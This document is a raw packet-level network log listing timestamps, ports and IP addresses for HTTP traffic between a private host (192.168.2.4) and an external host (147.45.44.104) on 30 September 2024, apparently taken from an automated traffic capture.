Sep 30, 2024 12:23:00.724549055 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.724565983 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.724570990 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.724585056 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.724605083 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.725369930 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.725411892 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.725423098 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.725440025 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.725450039 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.725450039 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.725460052 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.725488901 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.812570095 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812586069 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812603951 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812618971 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812635899 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812644958 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.812674046 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.812788963 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812802076 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812828064 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.812870026 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812881947 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812892914 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812902927 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812906027 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.812912941 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812942028 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.812967062 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.812977076 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813004971 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.813558102 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813601971 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.813704014 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813715935 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813724995 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813735008 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813745022 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813747883 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.813775063 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.813782930 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813793898 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813802958 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813816071 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.813823938 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.813843012 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.814491987 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814502954 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814516068 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814536095 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.814555883 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.814579010 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814589024 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814598083 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814608097 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814613104 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.814640045 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.814678907 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814688921 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814697981 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.814713001 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.814729929 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.815447092 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815458059 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815469027 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815496922 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.815515041 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.815529108 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815538883 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815548897 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815558910 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815563917 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.815574884 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.815593004 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.815615892 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815627098 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815638065 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.815655947 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.815674067 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.816370964 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.816382885 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.816392899 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.816428900 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.816441059 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902683020 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902740955 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902751923 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902765036 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902792931 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902796030 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902806997 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902817965 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902837038 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902841091 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902854919 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902879953 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902884007 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902894974 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902911901 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902940989 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.902962923 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902973890 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902986050 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.902995110 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903012037 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903023005 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903086901 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903098106 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903107882 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903117895 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903127909 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903129101 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903139114 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903146029 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903172016 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903192997 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903203964 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903239012 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903738976 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903779984 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903791904 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903810978 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903831005 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903831005 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903841972 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903861046 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903875113 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903899908 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903911114 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903922081 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903930902 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903940916 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903942108 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903950930 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.903970957 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.903981924 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904365063 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904403925 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904407024 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904417992 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904438019 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904453039 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904475927 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904486895 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904495955 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904505968 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904516935 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904546022 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904625893 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904637098 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904645920 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904655933 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904664993 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904665947 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904678106 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904685020 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904701948 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904711962 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.904714108 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904736042 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.904762030 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905320883 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905332088 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905342102 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905363083 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905384064 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905401945 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905412912 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905422926 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905432940 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905443907 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905469894 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905561924 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905576944 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905587912 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905592918 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905597925 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905608892 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905617952 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905621052 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905627966 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905637980 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.905641079 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905663967 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.905674934 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906251907 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906263113 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906271935 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906290054 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906305075 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906311035 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906321049 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906330109 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906341076 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906347990 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906357050 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906384945 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906447887 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906459093 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906469107 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906478882 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906488895 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906491041 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906498909 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906510115 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.906512022 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906526089 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.906546116 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.992799997 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992813110 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992824078 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992866039 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992865086 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.992877960 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992885113 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.992887974 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992898941 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992907047 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.992928028 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.992949963 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.992964029 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992974997 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992985010 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.992995977 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993005037 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993033886 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993168116 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993179083 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993189096 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993200064 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993208885 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993226051 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993246078 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993268013 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993278980 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993299961 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993299961 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993316889 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993335962 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993423939 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993434906 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993449926 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993469000 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993491888 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993494034 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993505001 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993514061 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993524075 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993535042 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993556976 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993565083 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993592024 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993745089 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993755102 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993765116 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993784904 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993812084 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993813992 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993824959 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993834972 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993844986 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993853092 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993881941 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.993974924 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993985891 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.993997097 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994007111 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994016886 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994020939 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994026899 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994043112 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994055033 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994107962 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994118929 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994127989 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994138002 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994144917 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994148970 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994153976 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994187117 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994436979 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994473934 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994476080 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994483948 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994508028 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994534016 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994539976 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994544983 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994555950 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994566917 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994570971 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994584084 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994601011 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994710922 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994720936 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994729996 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994740963 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994746923 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994751930 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994762897 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994765997 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994772911 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994784117 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994786024 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994793892 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994803905 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994816065 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994837046 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994844913 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994856119 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994858980 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994865894 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994877100 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994879961 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994887114 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994889975 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994896889 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994906902 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.994909048 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.994940042 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995491982 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995502949 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995513916 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995537043 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995544910 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995556116 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995557070 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995567083 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995578051 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995580912 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995604038 CEST	52545	80	192.168.2.4	147.45.44.104
